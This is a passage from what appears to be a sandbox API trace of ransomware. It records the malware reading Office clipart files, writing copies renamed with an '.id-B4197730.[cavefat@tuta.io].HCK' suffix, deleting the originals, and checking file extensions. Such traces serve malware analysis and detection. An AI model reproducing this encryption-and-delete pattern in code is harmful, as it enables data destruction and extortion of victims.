lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.543] SetEndOfFile (hFile=0x544) returned 1 [0229.543] CloseHandle (hObject=0x544) returned 1 [0229.543] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.543] SetEndOfFile (hFile=0x548) returned 1 [0229.672] CloseHandle (hObject=0x548) returned 1 [0229.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0229.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.673] lstrlenW (lpString=".doc") returned 4 [0229.673] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".docx") returned 5 [0229.673] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0229.673] lstrlenW (lpString=".pdf") returned 4 [0229.673] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".xls") returned 4 [0229.673] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".xlsx") returned 5 [0229.673] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0229.673] lstrlenW (lpString=".ppt") returned 4 [0229.673] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.673] lstrlenW (lpString=".zip") returned 4 [0229.673] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".rar") returned 4 [0229.673] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".bz2") returned 4 [0229.673] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.673] lstrlenW (lpString=".7z") returned 3 [0229.673] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.673] lstrlenW (lpString=".dbf") returned 4 [0229.674] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString=".1cd") returned 4 [0229.674] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString=".jpg") returned 4 [0229.674] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString=".doc") returned 4 [0229.674] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".docx") returned 5 [0229.674] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0229.674] lstrlenW (lpString=".pdf") returned 4 [0229.674] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".xls") returned 4 [0229.674] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".xlsx") returned 5 [0229.674] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0229.674] lstrlenW (lpString=".ppt") returned 4 [0229.674] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString=".zip") returned 4 [0229.674] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".rar") returned 4 [0229.674] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".bz2") returned 4 [0229.674] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.674] lstrlenW (lpString=".7z") returned 3 [0229.674] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.674] lstrlenW (lpString=".dbf") returned 4 [0229.674] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.675] lstrlenW (lpString=".1cd") returned 4 [0229.675] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0229.675] lstrlenW (lpString=".jpg") returned 4 [0229.675] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.675] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.675] lstrlenW (lpString="J0101866.BMP") returned 12 [0229.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.676] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32184) returned 1 [0229.676] CloseHandle (hObject=0x548) returned 1 [0229.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0229.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0229.678] GetLastError () returned 0x0 [0229.678] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.684] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.685] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.685] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.685] SetEndOfFile (hFile=0x4ac) returned 1 [0229.685] CloseHandle (hObject=0x4ac) returned 1 [0229.685] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.685] SetEndOfFile (hFile=0x548) returned 1 [0229.688] CloseHandle (hObject=0x548) returned 1 [0229.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString=".doc") returned 4 [0229.689] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".docx") returned 5 [0229.689] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0229.689] lstrlenW (lpString=".pdf") returned 4 [0229.689] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".xls") returned 4 [0229.689] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".xlsx") returned 5 [0229.689] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0229.689] lstrlenW (lpString=".ppt") returned 4 [0229.689] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString=".zip") returned 4 [0229.689] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".rar") returned 4 [0229.689] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".bz2") returned 4 [0229.689] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString=".7z") returned 3 [0229.689] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString=".dbf") returned 4 [0229.689] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString=".1cd") returned 4 [0229.689] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.689] lstrlenW (lpString=".jpg") returned 4 [0229.690] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString=".doc") returned 4 [0229.690] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".docx") returned 5 [0229.690] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0229.690] lstrlenW (lpString=".pdf") returned 4 [0229.690] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".xls") returned 4 [0229.690] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".xlsx") returned 5 [0229.690] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0229.690] lstrlenW (lpString=".ppt") returned 4 [0229.690] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString=".zip") returned 4 [0229.690] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".rar") returned 4 [0229.690] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".bz2") returned 4 [0229.690] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString=".7z") returned 3 [0229.690] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString=".dbf") returned 4 [0229.690] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString=".1cd") returned 4 [0229.690] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0229.690] lstrlenW (lpString=".jpg") returned 4 [0229.690] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.690] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.690] lstrlenW (lpString="J0101867.BMP") returned 12 [0229.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.691] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32616) returned 1 [0229.691] CloseHandle (hObject=0x548) returned 1 [0229.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0229.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.692] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.692] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0229.692] GetLastError () returned 0x0 [0229.692] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0229.705] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0229.706] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.706] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.706] SetEndOfFile (hFile=0x4ac) returned 1 [0229.706] CloseHandle (hObject=0x4ac) returned 1 [0229.706] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.706] SetEndOfFile (hFile=0x548) returned 1 [0229.716] CloseHandle (hObject=0x548) returned 1 [0229.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".doc") returned 4 [0229.738] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".docx") returned 5 [0229.738] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0229.738] lstrlenW (lpString=".pdf") returned 4 [0229.738] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".xls") returned 4 [0229.738] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".xlsx") returned 5 [0229.738] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0229.738] lstrlenW (lpString=".ppt") returned 4 [0229.738] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".zip") returned 4 [0229.738] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".rar") returned 4 [0229.738] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".bz2") returned 4 [0229.738] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".7z") returned 3 [0229.738] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".dbf") returned 4 [0229.738] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".1cd") returned 4 [0229.738] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".jpg") returned 4 [0229.738] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".doc") returned 4 [0229.738] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".docx") returned 5 [0229.738] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0229.738] lstrlenW (lpString=".pdf") returned 4 [0229.738] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".xls") returned 4 [0229.738] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString=".xlsx") returned 5 [0229.738] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0229.738] lstrlenW (lpString=".ppt") returned 4 [0229.738] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.738] lstrlenW (lpString=".zip") returned 4 [0229.739] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.739] lstrlenW (lpString=".rar") returned 4 [0229.739] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.739] lstrlenW (lpString=".bz2") returned 4 [0229.739] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.739] lstrlenW (lpString=".7z") returned 3 [0229.739] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.739] lstrlenW (lpString=".dbf") returned 4 [0229.739] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.739] lstrlenW (lpString=".1cd") returned 4 [0229.739] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0229.739] lstrlenW (lpString=".jpg") returned 4 [0229.739] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.739] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.739] lstrlenW (lpString="J0102002.WMF") returned 12 [0229.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.886] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=15988) returned 1 [0229.886] CloseHandle (hObject=0x534) returned 1 [0229.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0229.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.887] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.887] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.932] GetLastError () returned 0x0 [0229.932] ReadFile (in: hFile=0x534, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0229.933] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0229.934] ReadFile (in: hFile=0x534, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.934] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.934] SetEndOfFile (hFile=0x4d4) returned 1 [0229.934] CloseHandle (hObject=0x4d4) returned 1 [0229.934] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.934] SetEndOfFile (hFile=0x534) returned 1 [0229.936] CloseHandle (hObject=0x534) returned 1 [0229.936] SetFileAttributesW (lpFileName="C:\\Program 